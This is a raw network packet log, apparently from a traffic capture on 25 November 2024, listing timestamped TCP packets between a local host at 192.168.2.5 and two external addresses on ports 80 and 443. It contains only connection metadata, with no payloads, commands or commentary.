Nov 25, 2024 18:28:15.040462017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.040462017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.040522099 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.041290045 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.041342974 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.041366100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.041409016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.042221069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.042273045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.042298079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.042342901 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.043185949 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.043236971 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.043277979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.043328047 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.044073105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.044131041 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.044203997 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.044261932 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.045101881 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.045154095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.045192957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.045242071 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.048022032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.048033953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.048044920 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.048057079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.048079967 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.048113108 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.049180031 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.049232006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.049355030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.049406052 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.050796986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.050856113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.050857067 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.050898075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.051959038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.052010059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.052205086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.052253008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.053494930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.053545952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.053817987 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.053868055 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.055305004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.055357933 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.055496931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.055547953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.056710958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.056762934 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.056864023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.056914091 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.057476044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.057528973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.057569027 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.057621002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.058346033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.058398962 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.058438063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.058487892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.059046030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.059082985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.059102058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.059129000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.062524080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.062582016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.062628031 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.062678099 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.063035965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.063086987 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.063169956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.063220024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.063827991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.063879013 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.063976049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.064026117 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.064779997 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.064830065 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.064912081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.064961910 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.065468073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.065522909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.065582991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.065634966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.066382885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.066433907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.066545010 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.066601992 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.067166090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.067214966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.067240953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.067289114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.067845106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.067898989 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.067929983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.067984104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.068615913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.068669081 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.068701982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.068747044 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.069359064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.069410086 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.069421053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.069468021 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.070065022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.070115089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.070204020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.070255041 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.070832968 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.070889950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.070931911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.070982933 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.071564913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.071615934 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.071631908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.071681023 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.072318077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.072370052 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.072407961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.072455883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.073092937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.073144913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.073167086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.073220968 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:15.073787928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:15.073841095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:17.100877047 CET	49705	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:17.100936890 CET	443	49705	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:17.101023912 CET	49705	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:17.103513002 CET	49705	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:17.103533030 CET	443	49705	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:17.144772053 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:17.144809008 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:17.144906998 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:17.145073891 CET	49710	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:17.145087004 CET	443	49710	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:17.145144939 CET	49710	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:17.145267963 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:17.145281076 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:17.145417929 CET	49710	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:17.145427942 CET	443	49710	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:17.191868067 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:17.191904068 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:17.191999912 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:17.192210913 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:17.192225933 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:18.720617056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:18.721570015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:18.856548071 CET	443	49705	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:18.869625092 CET	49705	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:18.869663000 CET	443	49705	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:18.871293068 CET	443	49705	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:18.871377945 CET	49705	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:18.875837088 CET	49705	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:18.875936985 CET	443	49705	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:18.876275063 CET	49705	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:18.876296997 CET	443	49705	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:18.929692030 CET	49705	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:18.984199047 CET	443	49710	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:18.984549999 CET	49710	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:18.984569073 CET	443	49710	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:18.985604048 CET	443	49710	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:18.985671043 CET	49710	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:18.985974073 CET	49710	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:18.986032963 CET	443	49710	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:18.986208916 CET	49710	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:19.000538111 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.000744104 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:19.000777960 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.002207994 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.002288103 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:19.002523899 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:19.002624989 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.002635956 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:19.008275032 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.008575916 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:19.008588076 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.009757042 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.009830952 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:19.010150909 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:19.010225058 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.010257006 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:19.027375937 CET	443	49710	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.038934946 CET	49710	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:19.038949966 CET	443	49710	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.047347069 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.054563999 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:19.054585934 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.054617882 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:19.054630995 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.085849047 CET	49710	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:19.101438999 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:19.101536036 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:19.139528990 CET	49710	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:19.139620066 CET	443	49710	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.139681101 CET	49710	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:19.718312025 CET	443	49705	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.718367100 CET	443	49705	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.718394041 CET	443	49705	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.718492985 CET	49705	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:19.718509912 CET	443	49705	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.722079992 CET	49705	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:19.722086906 CET	443	49705	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.727787971 CET	443	49705	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.727806091 CET	443	49705	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.727874994 CET	49705	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:19.727885008 CET	443	49705	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.730082989 CET	49705	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:19.735896111 CET	443	49705	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.736262083 CET	443	49705	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.736396074 CET	49705	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:19.736438036 CET	49705	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:19.736457109 CET	443	49705	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.886830091 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.886881113 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.886907101 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.886970043 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.887120962 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:19.887146950 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.894376040 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.894506931 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.894577980 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:19.895351887 CET	49711	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:19.895371914 CET	443	49711	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.899952888 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.899987936 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.900059938 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:19.900078058 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.900125027 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:19.908241987 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:19.954682112 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:19.954708099 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.007411957 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.008260012 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.012783051 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.012851000 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.012862921 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.054888964 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.094954014 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.122618914 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.122914076 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.123018026 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.123038054 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.123091936 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.130373001 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.137475967 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.137605906 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.137615919 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.145520926 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.146059990 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.146069050 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.154304028 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.155173063 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.155188084 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.159616947 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.160968065 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.160976887 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.167468071 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.167525053 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.167531967 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.174309969 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.175532103 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.175539017 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.186769009 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.186831951 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.186842918 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.200719118 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.200773954 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.200782061 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.213877916 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.213922977 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.213931084 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.258019924 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.258032084 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.304877043 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.304886103 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.329135895 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.329195976 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.329207897 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.335694075 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.335761070 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.335771084 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.340198040 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.340308905 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.340347052 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.340357065 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.340401888 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.344773054 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.349395990 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.349456072 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.349469900 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.354321003 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.354384899 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.354393005 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.367546082 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.367597103 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.367605925 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.383727074 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.383781910 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.383790970 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.396259069 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.396320105 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.396327019 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.403616905 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.403690100 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.403698921 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.406975031 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.407035112 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.407044888 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.413201094 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.413256884 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.413268089 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.423620939 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.423685074 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.423692942 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.431282043 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.431467056 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.431474924 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.456800938 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.456918001 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.456929922 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.459462881 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.459527969 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.459536076 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.463022947 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.463079929 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.463087082 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.466073036 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.466135025 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.466141939 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.474319935 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.474378109 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.474387884 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.482980013 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.483062029 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.483068943 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.484484911 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.484561920 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.484570026 CET	443	49709	142.250.181.68	192.168.2.5
